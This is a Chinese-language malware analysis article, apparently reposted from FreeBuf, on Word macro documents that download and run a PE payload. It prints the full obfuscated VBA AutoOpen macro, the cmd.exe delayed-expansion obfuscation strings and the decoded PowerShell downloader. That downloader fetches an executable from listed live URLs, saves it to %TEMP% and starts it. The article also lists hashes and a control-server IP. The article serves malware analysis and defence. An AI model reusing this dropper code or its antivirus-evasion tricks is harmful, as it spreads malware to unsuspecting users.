内容简介:基于宏的 word 恶意攻击文件是社交工程类攻击的一个重要手段,虽说此类攻击技术很简单,也很老旧,在大多数安全技术人员看来有点 low 甚至对其不屑一顾(毕竟攻击成功依赖目标用户打开文档后的二次交互,被发现后攻击脚本易被分析等),但是不可否认,由于宏脚本制作简单、受 Office 和 windows 版本限制小等特点,深受各类网络攻击群体的厚爱。近期连续获取的几个 word 宏病毒样本,主要是通过对 VBA 脚本和执行命令的差异化来实现与安全软件的对抗。这几个文档显示内容一样,都是打开后要求一张图片提示用
*本文原创作者:cgf99,本文属FreeBuf原创奖励计划,未经许可禁止转载
一、前言
基于宏的 word 恶意攻击文件是社交工程类攻击的一个重要手段,虽说此类攻击技术很简单,也很老旧,在大多数安全技术人员看来有点 low 甚至对其不屑一顾(毕竟攻击成功依赖目标用户打开文档后的二次交互,被发现后攻击脚本易被分析等),但是不可否认,由于宏脚本制作简单、受 Office 和 windows 版本限制小等特点,深受各类网络攻击群体的厚爱。近期连续获取的几个 word 宏病毒样本,主要是通过对 VBA 脚本和执行命令的差异化来实现与安全软件的对抗。这几个文档显示内容一样,都是打开后要求一张图片提示用户要开启宏。此外,VBA 代码基本一致,还有执行的命令字符串形式相同,应该是来自同一个团体的攻击样本。下面针对其中的一个样本进行分析。
样本文档打开后,显示一幅图片,其中文字提示用户需要开启宏才能观看。同时 office 也弹出窗口要求启动宏,如下图所示。
在点击「启用内容」后,文档内容没有变化,还是原来的图片。
随后,系统后台下载文件并执行,具体情况如下。
1、网络下载
Winword.exe 进程从网络下载生成%Temp%\jCz.exe 文件名运行。下载的 URL 地址为 http://andrewdavis-ew.me.uk/4W/ ,下载的文件是一个 PE 可执行文件。具体网络数据包如下图所示:
2、复制自删除
jCz.exe 运行后复制自身到 C:\Users\[登录用户名]\AppData\Local\Microsoft\Windows\nirmalaenglish.exe 并运行,随后退出并删除自身。因此,最终在目标系统上只有一个 nirmalaenglish.exe 存在。
3、进程和网络连接情况
Word 打开后的用 tasklist 列举进程情况如下图所示。
其中,Nirmalaenglish.exe 运行后,连接的控制服务器是 198.0.36.237。
Nirmalaenglish.EXE 不兼容老的 XP 系统。
nirmalaenglish.exe 是 32 位 PE 文件,在任务管理器显示如下图所示。
4、文件属性
文件伪装的属性如下图所示,竟然伪装的是一个 DLL 文件。
5、启动项
nirmalaenglish.exe 运行后在 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 下创建自启动项。
6、样本文件情况
文件名 | 大小 | MD5 hash | SHA1 hash |
---|---|---|---|
doc | 136,832 | dbfca9e4cd3fb6943b67d5d13ad5bf13 | 463463fec8c771f5ebbe403b82ce98b5ca5174de |
jCz.exe nirmalaenglish.exe | 176,128 | 588cf2ab08d1cdf926aacb8bbe43a4c1 | b4608ff7f4a6c1d2d61ac582bff8eee9919491a5 |
二、DOC 样本分析
1、文件情况
用 winhex 打开,是复合文档格式的,以 D0CF11E0A1BA1AE1 开始。在 0x0A10 开始的位置,有明显的明文字符串。包含 cmd.exe /c 命令字符串。如下图所示:
2、VBA 静态分析
用 olevba 分析发现该文档包含宏,并且利用 AutuOpen 函数随文档开启自动运行。如下两幅图所示。
3、VBA 动态调试
在虚拟机环境里面,打开文档后允许宏运行,利用 Visual Basic 编辑器进行调试。打开后的 VBA 代码如下所示:
完整的 VBA 代码如下表所示:
Sub AutoOpen() On Error Resume Next Select Case lHSiIEjEJ Case 106689022 JkAwSR = Hex(CHcnonO) VoiZokd = Cos(193760893) kIorX = 152236150 Case 146777760 dZHLZnmw = Hex(YnRzTf) mivVkci = Sqr(207880165 / CSng(45341169 - Cos(303879610 - 79268186) + dhikG + Rnd(8156933 - 72282793))) GKvBwd = Hex(MqMIQcT) End Select On Error Resume Next Select Case uGPztU Case 80066148 TwAnoFVEa = Hex(pJsajRr) zjYRSj = Cos(158949450) SiMKnUzKA = 305204326 Case 295047977 CipluS = Hex(EVTawFd) dUCfTPv = Sqr(252789547 / CSng(285500423 - Cos(287474754 - 105488610) + VMhalYbO + Rnd(125198942 - 301657600))) WADTXwDO = Hex(KzUpw) End Select Set cACBrcEf = Shapes("AtwGUaJHEhkMnR") On Error Resume Next Select Case fmlmWw Case 284838776 wdMkv = Hex(zwzCFh) RGFJZVwlL = Cos(73989805) TmXDAbnQm = 105628658 Case 136942984 mKuZv = Hex(TwfZU) jfcwdu = Sqr(136714754 / CSng(259871207 - Cos(120778133 - 126999894) + ItuzXP + Rnd(269546996 - 311219670))) wFTzivB = Hex(rPOuRKXU) End Select On Error Resume Next Select Case TRCZGYIq Case 278864415 fPpSFjL = Hex(iicWID) kzwUE = Cos(252112167) wboAl = 241782525 Case 21543657 mJiDTn = Hex(NSIwU) jDzJzZW = Sqr(163099183 / CSng(67651671 - Cos(145615829 - 252412413) + ZTOdEvbJQ + Rnd(316297959 - 122387720))) FjMhljLHR = Hex(PXrqlLj) End Select On Error Resume Next Select Case svIWYGz Case 59045107 fOYvwidX = Hex(paMCF) XYRtJA = Cos(138258275) ERrbUBzu = 40910085 Case 155164512 qljzTWz = Hex(ahqMqqv) zoEzkKjTd = Sqr(33412843 / CSng(16128483 - Cos(57282106 - 146982061) + uToYO + Rnd(177744907 - 281382074))) zXJduzO = Hex(AlYCz) End Select On Error Resume Next Select Case vzVnJuf Case 312510715 GEtEz = Hex(ulWXTFwOD) sZnVF = Cos(341309453) aiDMBqwV = 309396274 Case 161495380 iNuzO = Hex(QTFiP) wjSmRUr = Sqr(168753056 / CSng(24970975 - Cos(44646283 - 109666873) + atmtua + Rnd(9431304 - 158775682))) vfpGvKiF = Hex(uJKHFcjD) End Select dDHLRf = "" + BRnWYSbU + tjFMUO + rhpHPj + cACBrcEf.TextFrame.TextRange.Text + fiVdGi + EQkTIo + cdMsji On Error Resume Next Select Case kCfbk Case 294317110 JtAzQjlZu = Hex(XZBiwCnb) owEzaoTuJ = Cos(234540993) JVjjtDSz = 151975382 Case 221438674 HIinLWd = Hex(zrzpEzFw) JwmcpFi = Sqr(12870099 / CSng(296564319 - Cos(139888679 - 240856071) + kpENMovPm + Rnd(189462999 - 322294993))) XkzKjb = Hex(oHsoavzR) End Select On Error Resume Next Select Case ticcaKu Case 287077696 MbvinLuJc = Hex(OHwiwKvI) RvAWAMPw = Cos(123923334) hqnzN = 17764142 Case 337814127 tpcNdEZGU = Hex(AdSiBGZzL) vVYPb = Sqr(52816491 / CSng(310122531 - Cos(284558712 - 176933727) + ibzTB + Rnd(130728763 - 70988708))) Rwwts = Hex(vpjCpj) End Select On Error Resume Next Select Case TNnZvREPI Case 41142863 LGdEuFowa = Hex(cYGZt) BIIjiKk = Cos(126203819) ZRapb = 64895411 Case 163894775 IWnosb = Hex(kElnr) hzCqCHzW = Sqr(77823821 / CSng(5439857 - Cos(146509680 - 69963338) + VnNHzzDEz + Rnd(22079052 - 39759468))) JhDzZZwb = Hex(rRYwYC) End Select Set LqfarBBF = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + lSBsq) On Error Resume Next Select Case FzziN Case 243734976 jNzcti = Hex(HADXPAVYW) FGFWj = Cos(115178555) tJadRo = 45778859 Case 84892833 XDbzjqKOd = Hex(uwkSmhcpY) fwAvm = Sqr(225066432 / CSng(240888853 - Cos(54875134 - 101861368) + MwKRdRwZb + Rnd(104077630 - 320167309))) tpXOJrnvp = Hex(iFSbDfKwF) End Select On Error Resume Next Select Case DQrXWoHjF Case 227852834 hLVAGz = Hex(GWLYJ) tVtLZLRPj = Cos(43945134) PJwTIQX = 291842291 Case 290513551 doOGO = Hex(IlumiHv) AuvKuRC = Sqr(6064386 / CSng(30182182 - Cos(294207161 - 239403095) + BjwGnjRpQ + Rnd(217234607 - 201640735))) KiJil = Hex(wIOSTN) End Select On Error Resume Next Select Case QBNwCWAQ Case 65362740 nQVmVEvY = Hex(LEQhSSOm) DrSKwckJh = Cos(188989781) zuzuEiO = 30322423 Case 122358794 WiWcjizT = Hex(iojIMSNcS) CMWTukQEW = Sqr(188879811 / CSng(232929535 - Cos(26369709 - 62340469) + GjMviO + Rnd(329247112 - 239650647))) mwpPmmbr = Hex(vLPaA) End Select Const citlbP = 0 On Error Resume Next Select Case jwiMwS Case 107200381 TiSBk = Hex(QrzZKWaip) AphqZFUzt = Cos(232419654) vaiFo = 97021820 Case 210271065 AtjAbUuw = Hex(KtkAIqMGl) jONUIBm = Sqr(136803807 / CSng(113397089 - Cos(129486342 - 132695481) + HuzowQp + Rnd(34714082 - 147434178))) GdnzwJn = Hex(SwDpzWnY) End Select On Error Resume Next Select Case CHpcz Case 236679346 NkvZmPD = Hex(vjzRpQFAO) UlaoUhwm = Cos(220324635) WXiNpk = 279034050 Case 262528533 zljNuQQH = Hex(qkwGbvcwz) QNbziqW = Sqr(158805557 / CSng(331003561 - Cos(249131549 - 186665267) + aRQQu + Rnd(267242902 - 158055032))) XDaCwwPP = Hex(mkqmRXWWl) End Select On Error Resume Next Select Case SDDAcZCAt Case 264062545 HCPMiiJp = Hex(WAJfWztI) iXJHTIoNV = Cos(438513) AIqPq = 200659759 Case 237171322 zCdwc = Hex(ZStYicj) ILQazjHXR = Sqr(56993264 / CSng(59190836 - Cos(231064522 - 258838986) + JuosPp + Rnd(72157320 - 273985578))) ajitq = Hex(prXaFAfwQ) End Select On Error Resume Next Select Case IWOLfzJ Case 20437470 kEziC = Hex(ZwzwOV) GUGjj = Cos(144539995) bYKjFo = 12099378 Case 329409845 Nnuhl = Hex(rlDtu) MmYTEFQu = Sqr(30544200 / CSng(312871809 - Cos(110793117 - 259553222) + aLuQZOJbu + Rnd(233785588 - 68838494))) nREcVj = Hex(bjPmmNAi) End Select On Error Resume Next Select Case zlmso Case 199065590 HUJwYYLB = Hex(KNMcb) nScQoIwwi = Cos(35506963) Achka = 341903551 Case 50623229 NTfcoN = Hex(FhoVqU) CzTPYpdI = Sqr(159859482 / CSng(205718420 - Cos(281831079 - 119054328) + iUUkNEI + Rnd(91312236 - 190175986))) qoDaD = Hex(HIOlUa) End Select On Error Resume Next Select Case HnZMhinRk Case 233461681 nGUnkw = Hex(vwAzwj) BJMbnJUdW = Cos(64086583) EwNNSso = 283743450 Case 146545611 MqzAbf = Hex(cqHqpUfV) qwZwJjK = Sqr(81091076 / CSng(214691539 - Cos(2246847 - 11439174) + dILFMdpS + Rnd(84892047 - 176965475))) dlBfCk = Hex(disrCr) End Select LqfarBBF.Run# dDHLRf, citlbP On Error Resume Next Select Case vKprbOsl Case 203381594 VCLcBRHB = Hex(iAZbjRnl) jSpMf = Cos(328073300) RjOwGqbI = 146719873 Case 7524072 EqSEBlc = Hex(oWiJaodjB) tIXNtk = Sqr(240178619 / CSng(301643513 - Cos(31914199 - 192782238) + YQFirjuqi + Rnd(111920305 - 25450526))) fJMiXnIc = Hex(awdsC) End Select On Error Resume Next Select Case ULnQjHCk Case 333193034 QlAssNl = Hex(LmRnTIZw) AsHVuS = Cos(266710826) dEhbDG = 257143757 Case 251218450 iWEAMqHds = Hex(Whrirj) CrrDVSMb = Sqr(98410875 / CSng(57929923 - Cos(30863787 - 61288942) + fiBVi + Rnd(19525726 - 290538601))) nBzsCC = Hex(kmZpsQ) End Select On Error Resume Next Select Case TJMuV Case 178742339 cwjFCFY = Hex(viBKDN) WzStL = Cos(191381702) IURQmKZt = 311787294 Case 323568830 Iwjdk = Hex(vBFbrVQIv) nPcbPA = Sqr(267326832 / CSng(274185099 - Cos(82227673 - 260914150) + SOrCnEDv + Rnd(98505983 - 109036895))) MZzJXMQwB = Hex(rrliS) End Select On Error Resume Next Select Case ODrSwLSvc Case 12180480 TvcTSGb = Hex(jAfdiu) YOpfnvfwM = Cos(322100654) XtFEFzEb = 313218724 Case 83653085 zZQGHGw = Hex(ZIXBmDGz) bnwPWk = Sqr(229157365 / CSng(225973262 - Cos(68101884 - 184463785) + fZGwivOQP + Rnd(221730088 - 259959417))) CdWZzrS = Hex(zBqAI) End Select End Sub
经过单步调试分析,其实上述 VBA 代码中包含一堆的无效代码,应该是用于混淆代码加大查杀难度。其实最终的功能代码可以简化如下
Sub AutoOpen() On Error Resume Next Set cACBrcEf = Shapes("AtwGUaJHEhkMnR") Set LqfarBBF = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" ) dDHLRf = cACBrcEf.TextFrame.TextRange.Text LqfarBBF.Run# dDHLRf, 0 End Sub
其中, cACBrcEf.TextFrame.TextRange.Text 就是 Shapes(“AtwGUaJHEhkMnR”) 的文本框内容,也就是上文说的在 0x0A10 处包含 cmd.exe /c 等字符串的内容。72C24DD5-D70A-438B-8A42-98424B88AFB8 是 WScript.Shell.1 的 CLSID。也就是说,AutoOpen 函数的最终功能就是执行 0x0A10 处的那一段字符串命令。
4、命令分析
AutoOpen 函数运行的命令如下表所示,这段命令其实可以分为三部分。如表用不同的颜色标注。
c:\VmhwaLZf\RdRhrbwjCvLZDv\lCrjjDSiQ\..\..\..\windows\system32\cmd.exe /c %COMSPEC% /V:O/C"set SNT= }}{hctac}}kaerb;Uar$ ssecorP-tratS;)Uar$(elifotevas.wvt$;)ydoBesnopser.QjY$(etirw.wvt$;1 = epyt.wvt$;)(nepo.wvt${ )'*ZM*' ekil- txetesnopser.QjY$( fI;)(dnes.QjY$;)0,KlB$,'TEG'(nepo.QjY${yrt{)LLN$ ni KlB$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = wvt$;'ptthlmx.2lmxsm' moc- tcejbO-weN= QjY$;)'exe.zCj\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=Uar$;)'@'(tilpS.'Y/ur.luanrab-robdopotva//:<a href="/cdn-cgi/l/email-protection" data-cfemail="7e0e0a0a163e470a">[email protected]</a>/au.moc.krowtenstrapotua//:<a href="/cdn-cgi/l/email-protection" data-cfemail="275753534f676c6e4e5d44545e">[email protected]</a>/ua.moc.noitcurtsnoccke//:<a href="/cdn-cgi/l/email-protection" data-cfemail="1d6d6969755d442c735354256a">[email protected]</a>/moc.gniniartatarebilativ//:<a href="/cdn-cgi/l/email-protection" data-cfemail="7e0e0a0a163e294a">[email protected]</a>/ku.em.we-sivadwerdna//:ptth'=LLN$;'aVA'=jLE$ llehsrewop&&for /L %q in (568,-1,0)do set wM=!wM!!SNT:~%q,1!&&if %q==0 echo !wM:~4! |FOR /F "delims=.7XGv tokens=2" %u IN ('assoc^^^|findstr 1x')DO %u -"
第一部分,「VmhwaLZf\RdRhrbwjCvLZDv\lCrjjDSiQ」是无效指令,主要用于混淆。最终调用 c:\windows\system32\cmd.exe /c %COMSPEC% /V:O/C。
第二部分,「for /L %q in (568,-1,0)do set wM=!wM!!SNT:~%q,1!&&if %q==0echo !wM:~4!」命令是把它前面的 569 个字节顺序前后倒置一下,然后在开头加上「echo」字符串。最后生成的内容如下表。
echo powershell$ELj='AVa';$NLL='http://andrewdavis-ew.me.uk/<a href="/cdn-cgi/l/email-protection" data-cfemail="f7c3a0b79f838387">[email protected]</a>://vitaliberatatraining.com/<a href="/cdn-cgi/l/email-protection" data-cfemail="8afdb2c3c4e4bbd3cae2fefefa">[email protected]</a>://ekcconstruction.com.au/<a href="/cdn-cgi/l/email-protection" data-cfemail="dea7adbda4b797959eb6aaaaae">[email protected]</a>://autopartsnetwork.com.ua/<a href="/cdn-cgi/l/email-protection" data-cfemail="f783ceb79f838387">[email protected]</a>://avtopodbor-barnaul.ru/Y'.Split('@');$raU=([System.IO.Path]::GetTempPath()+'\jCz.exe');$YjQ=New-Object -com 'msxml2.xmlhttp';$tvw = New-Object -com'adodb.stream';foreach($BlK in $NLL){try{$YjQ.open('GET',$BlK,0);$YjQ.send();If($YjQ.responsetext -like '*MZ*') {$tvw.open();$tvw.type =1;$tvw.write($YjQ.responseBody);$tvw.savetofile($raU);Start-Process$raU;break}}catch{}}
此时,基本就一目了然了。该段 powershell 脚本整理整理如下表所示:
$ELj='AVa';
$NLL=' http://andrewdavis-ew.me.uk/4W @ http://vitaliberatatraining.com/w8INn1Y @ http://ekcconstruction.com.au/yscziIK @ http://autopartsnetwork.com.ua/t9 @ http://avtopodbor-barnaul.ru/Y '.Split('@');
$raU=([System.IO.Path]::GetTempPath()+'\jCz.exe'); //下载保存为%tmp%\jCz.exe
$YjQ =New-Object -com'msxml2.xmlhttp';
$tvw = New-Object -com'adodb.stream';
foreach($BlK in $NLL) //循环从上述 URL 下载
{
Try
{
$YjQ.open('GET',$BlK,0);
$YjQ.send();
If($YjQ.responsetext -like '*MZ*') //下载数据头包含「MZ」,PE 文件
{
$tvw.open();
$tvw.type = 1;
$tvw.write($YjQ.responseBody);
$tvw.savetofile($raU);//写入本地文件
Start-Process$raU;//执行
Break //从任意一个 URL 下载成功即可。
}
}
catch{}
}
我们可以看到,恶意文档用于传播的下载域名有五个,其中前两个 URL 还在线能用,后面三个访问无效(不知道是否用作备用),如下表所示。【截至 2018 年 11 月 28 日】
1 | http://andrewdavis-ew.me.uk/4W | 在线 |
---|---|---|
2 | http://vitaliberatatraining.com/w8INn1Y | 在线 |
3 | http://ekcconstruction.com.au/yscziIK | 无效 |
4 | http://autopartsnetwork.com.ua/t9 | 无效 |
5 | http://avtopodbor-barnaul.ru/Y | 无效 |
第三部分,「FOR/F “delims=.7XGv tokens=2″ %u IN (‘assoc^^^|findstr 1x’)DO %u -」。其中 assoc|findstr1x 执行后的结果是「.ps1xml=Microsoft.PowerShellXMLData.1」,也就是说把字符串「.ps1xml=Microsoft.PowerShellXMLData.1」用「.7XGv」作为分隔符分割,最终获取的命令就是「powershell」字符串,用「-」作为参数,表示 powersehll 的参数来自标准的输入。因此,最终的结果就是利用 powershell 执行前面的脚本,相当于 cmd.exe /V:O/C echo「命令或脚本」|powershell -。
5、其他样本情况
其他的几个样本与上面分析的样本形式基本一致,差别主要在 VBA 脚本做了一些微调,比如 shapes 对象命名名称不同、命令字符串进行修改等。
如下表所示:
序号 | 1 |
---|---|
Shapes 对象名 | Hzwjzv = Shapes(“clSUStuE”) |
Run 执行 | ZOFvj = Array(zCXww, ijOMk.Run!(fTjnCb, MqOqlrVB), fvPNOZart) |
命令字符串内容 | “C:\Windows\system32\cmd.exe” /V:ON/C”set gE=;’Rva’=fXz$}}{hctac}};kaerb;’vsQ’=DJz$;SuJ$ metI-ekovnI{ )00008 eg- htgnel.)SuJ$ metI-teG(( fI;’LZT’=Ewu$;)SuJ$ ,aMK$(eliFdaolnwoD.Vft${yrt{)jsa$ ni aMK$(hcaerof;’exe.’+Lhn$+’\'+pmet:vne$=SuJ$;’UzE’=PPl$;’534′ = Lhn$;’Prw’=Bfm$;)’@'(tilpS.’2rrBEGE/ur.8z.gnidluom.2//:[email protected]/yu.moc.aidla//:[email protected]/20000/tnetnoc-pw/ra.ude.tnu.noisnetxeairaterces//:[email protected]/rb.moc.megamieartel//:[email protected]/segamizetis/su.soidutsee//:ptth’=jsa$;tneilCbeW.teN tcejbo-wen=Vft$;’Sfp’=Sqk$ llehsrewop&&for /L %n in (491,-1,0)do set Vr=!Vr!!gE:~%n,1!&&if %n lss 1 echo !Vr:~4! |po%windir:~-2,1%e%ProgramFiles:~4,-11%she%ProgramFiles:~13,1%%ProgramW6432:~13,-2% -” |
我们可以看到,与上面的样本相比,主要是第三部分进行了变化。po%windir:~-2,1%e%ProgramFiles:~4,-11%she%ProgramFiles:~13,1%%ProgramW6432:~13,-2% -字符串就是在不同的字符串中取得特定的字符,执行结果就是「powershell -u」。
样本用于传播的下载域名有五个,其中第一个无效,后面四个访问下载 EXE 文件。【截至 2018 年 11 月 30 日】
6、cmd.exe /v:O
命令的第一部分调用的是 cmd.exe /v:on /c 的指令,cmd.exe 增加/v 的操作是为了增强命令字符串的混淆程度。根据 cmd.exe 的命令帮助,/v 是使用!作为分隔符启用延迟的环境变量扩展。如下图所示:
较早前一个样本包含的命令字符串如下表所示,混乱。
c:\jKWjzDXFSEjw\nPNoAZv\vbzdFqh\..\..\..\windows\system32\cmd.exe /c %COMSPEC%, ,,,,/V^:O,,,/C",,(,(s^e^t mk1= ^ ^ ^ ^ ^ ^ ^ ^ }}{^hc^t^ac^}}kaer^b;V^j^F$^ s^s^ec^or^P^-^tr^a^tS;^)Vj^F^$^(^e^l^if^o^t^eva^s^.w^la^$^;^)ydo^B^esn^o^ps^er.^J^F^w$^(etir^w^.w^l^a$;1^ =^ ^epy^t^.^wl^a$;^)^(nep^o^.^w^l^a^${ ^)^'^Z^M^'^ qe-^ tx^e^t^esnop^ser.^J^F^w$^( f^I;^)^(^dne^s^.J^Fw^$;^)^0,^Tj^z$,^'^T^EG'^(nep^o^.^JFw^${^yr^t{^)caK^$^ ni^ ^T^jz^$^(hc^a^er^of;^'ma^er^t^s.^bd^oda^' moc^-^ ^tc^e^j^b^O^-^w^eN =^ ^w^l^a^$;^'ptth^lm^x.^2l^m^x^sm'^ moc^-^ tc^ejb^O-^weN^= JFw$^;^)^'exe.h^F^d\^'^+^)^(h^ta^P^pme^T^t^eG^::^]h^ta^P^.^O^I^.^met^syS[^(=VjF^$^;^)^'@'^(ti^l^p^S.'Q^q^lc^picu^Yr/moc^.skc^artm^urdevil//^:ptt^h^@p^p4H^LL^GU^58/moc^.evi^t^av^onni^o^fn^i//:p^t^<a href="/cdn-cgi/l/email-protection" data-cfemail="2a5e426a4e58535f78">[email protected]</a>^efe/moc^.noi^t^ani^ts^e^d^yt^ua^e^b^s^yni^t^s^e^d//:p^t^t^<a href="/cdn-cgi/l/email-protection" data-cfemail="91f9d1">[email protected]</a>^wcV^L^oL^m/^m^oc^.^s^tf^i^g^il^a^uq//:^pt^t^h^@^Hz^hu^6ze^6^K^f/gr^o.^a^m^on^os^og//^:^pt^th^'=c^a^K$;'z^jF^'^=^zF^i$ ^l^lehsr^ew^op),,,)&&,,f^or,,,/^L,,,%^Z,^in,(^+^57^1,^,,^,^,^-^1^,^,,,,0),,,,,^do,,(,(,,,,,^s^e^t ^PzN^k=!^PzN^k!!mk1:~
解析后其内含的 powershell 脚本如下表所示:
powershell $iFz='Fjz';$Kac='http://gosonoma.org/<a href="/cdn-cgi/l/email-protection" data-cfemail="83e5c8b5e6f9b5f6ebf9cbc3ebf7f7f3">[email protected]</a>://qualigifts.com/<a href="/cdn-cgi/l/email-protection" data-cfemail="761b3a193a201501361e020206">[email protected]</a>://destinysbeautydestination.com/<a href="/cdn-cgi/l/email-protection" data-cfemail="dcb9bab98ea9a5aeb89cb4a8a8ac">[email protected]</a>://infoinnovative.com/<a href="/cdn-cgi/l/email-protection" data-cfemail="39010c6c7e7575710d494979514d4d49">[email protected]</a>://livedrumtracks.com/rYucipclqQ'.Split('@');$FjV=([System.IO.Path]::GetTempPath()+'\dFh.exe');$wFJ=New-Object -com 'msxml2.xmlhttp';$alw = New-Object -com'adodb.stream';foreach($zjT in $Kac){try{$wFJ.open('GET',$zjT,0);$wFJ.send();If($wFJ.responsetext -eq 'MZ') {$alw.open();$alw.type = 1;$alw.write($wFJ.responseBody);$alw.savetofile($FjV);Start-Process$FjV;break}}catch{}}
用于下载的域名如下表:【截至 2018 年 11 月 30 日】
三、结束语
1、根据观察,此类宏病毒文档在持续变化中,应该是一直在进行免杀。
2、本次样本 VBA 脚本还是蛮有创意的,攻击者的脚本能力很强。
3、传播下载的域名也在持续变化中。
*本文原创作者:cgf99,本文属FreeBuf原创奖励计划,未经许可禁止转载
以上所述就是小编给大家介绍的《WORD宏病毒老而弥坚花样百出》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 一个 NullPointerException,竟然有这么多花样
- iOS底层原理:Runtime研究,玩出新花样
- 新型诈骗花样多,使用多种混淆方法绕过安全检测
- 把 cURL 玩出花样,让程序员效率升级
- 神鱼怒揭矿圈“黑手段”,矿池对抗花样繁多
- 玩点新花样!手机控制的浇花神器来袭
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
计算机真实感图形的算法基础
彭群生 / 科学出版社 / 1999-6 / 45.00元
《计算机真实感图形的算法基础》是系统介绍计算机真实感图形基础理论与算法的一本专著。全书共分九章,包括图形学基础、光照模型原理、简单画面绘制算法、光线跟踪、纹理映射、阴影生成、光能辐射度方法、实时图形绘制技术、自然景物仿真、颜色等。《计算机真实感图形的算法基础》的特点是内容全面,取材新颖,注重算法,力求实用。除系统叙述计算机真实感图形生成的基本概念、基本算法外,作者还注意结合亲身实践体会介绍国内外的......一起来看看 《计算机真实感图形的算法基础》 这本书的介绍吧!